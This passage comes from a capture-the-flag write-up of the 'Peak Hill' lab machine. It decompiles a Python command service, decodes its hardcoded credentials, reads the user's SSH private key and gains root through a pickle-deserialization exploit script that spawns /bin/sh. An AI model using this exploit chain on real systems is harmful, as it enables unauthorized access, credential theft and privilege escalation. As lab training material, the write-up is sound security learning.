uncompyle6 -o . cmd_service.pyc

This gives us the following code

# uncompyle6 version 3.7.0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.2 (default, Apr  1 2020, 15:52:55)
# [GCC 9.3.0]
# Embedded file name: ./cmd_service.py
# Compiled at: 2020-05-14 13:55:16
# Size of source mod 2**32: 2140 bytes
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys, textwrap, socketserver, string, readline, threading
from time import *
import getpass, os, subprocess
username = long_to_bytes(1684630636)
password = long_to_bytes(2457564920124666544827225107428488864802762356)

class Service(socketserver.BaseRequestHandler):

    def ask_creds(self):
        username_input = self.receive(b'Username: ').strip()
        password_input = self.receive(b'Password: ').strip()
        print(username_input, password_input)
        if username_input == username:
            if password_input == password:
                return True
        return False

    def handle(self):
        loggedin = self.ask_creds()
        if not loggedin:
            self.send(b'Wrong credentials!')
            return None
        self.send(b'Successfully logged in!')
        while True:
            command = self.receive(b'Cmd: ')
            p = subprocess.Popen(command,
              shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
            self.send(p.stdout.read())

    def send(self, string, newline=True):
        if newline:
            string = string + b'\\n'
        self.request.sendall(string)

    def receive(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self.request.recv(4096).strip()

class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
    pass

def main():
    print('Starting server...')
    port = 7321
    host = '0.0.0.0'
    service = Service
    server = ThreadedService((host, port), service)
    server.allow_reuse_address = True
    server_thread = threading.Thread(target=(server.serve_forever))
    server_thread.daemon = True
    server_thread.start()
    print('Server started on ' + str(server.server_address) + '!')
    while True:
        sleep(10)

if __name__ == '__main__':

Decrypting the hardcoded credentials

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import bytes_to_long, long_to_bytes
>>> long_to_bytes(1684630636)
b'dill'
>>> long_to_bytes(2457564920124666544827225107428488864802762356)
b'n3v3r_@_d1ll_m0m3nt'
>>> 
┌─[puck@parrot-lt]─[~/thm/peakhill]

This program starts a listener on port 7321 which was seen in the Nmap scan

Connecting to the service with nc

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $nc 10.10.90.44 7321
Username: dill
Password: n3v3r_@_d1ll_m0m3nt
Successfully logged in!
Cmd: ls

Cmd: whoami
dill

Cmd: cat ~/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[redacted]
N8I+VHpYh0mrQOzhKLu3Xy9I
/V7pwBay5mHnsAAAAKam9obkB4cHMxNQE=
-----END OPENSSH PRIVATE KEY-----

Cmd:
Cmd: ^C
┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]

This shell can be used to read the dill user’s id_rsa file and SSH into the box as the dill user

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ssh -i id_rsa dill@10.10.90.44
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage


28 packages can be updated.
19 updates are security updates.


Last login: Wed May 20 21:56:05 2020 from 10.1.122.133
dill@ubuntu-xenial:~$ ls
user.txt
dill@ubuntu-xenial:~$ cat user.txt
f1e1[redacted]b6a0
dill@ubuntu-xenial:~$ sudo -l
Matching Defaults entries for dill on ubuntu-xenial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dill may run the following commands on ubuntu-xenial:
(ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm
dill@ubuntu-xenial:~$ ls -la /opt/peak_hill_farm/peak_hill_farm
-rwxr-x--x 1 root root 1218056 May 15 2020 /opt/peak_hill_farm/peak_hill_farm
dill@ubuntu-xenial:~$ file /opt/peak_hill_farm/peak_hill_farm
/opt/peak_hill_farm/peak_hill_farm: executable, regular file, no read permission

 

Looking at sudo -l

Viewing the permissions,Running the script with “123”Looks like it is expecting base64 ,Encoding “123” with base64 and trying again, This program can be exploited by entering a pickled object with malicious code

Here is an article on it

Create an exploit script

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $cat expo.py 
#!/usr/bin/env python3
import pickle
import base64

class execute(object):
def __reduce__(self):
import os
return(os.system,("/bin/sh",))

print(base64.b64encode(pickle.dumps(execute())))

┌─[puck@parrot-lt]─[~/thm/peakhill]
┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3 expo.py 
b'gASVIgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAcvYmluL3NolIWUUpQu'
┌─[puck@parrot-lt]─[~/thm/peakhill]
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: 123
failed to decode base64
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: aG9pCg==
this not grow did not grow on the Peak Hill Farm! :(
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: b'gASVIgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAcvYmluL3NolIWUUpQu'
failed to decode base64
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjARiYXNolIWUUpQu
root@ubuntu-xenial:/opt/peak_hill_farm# cd /root
root@ubuntu-xenial:/root# ls
 root.txt 
root@ubuntu-xenial:/root# cat root.txt
cat: root.txt: No such file or directory
root@ubuntu-xenial:/root# /bin/sh
# cd /root
# ls
 root.txt 
# cat *
e88f[redacted]ee28
#

Done.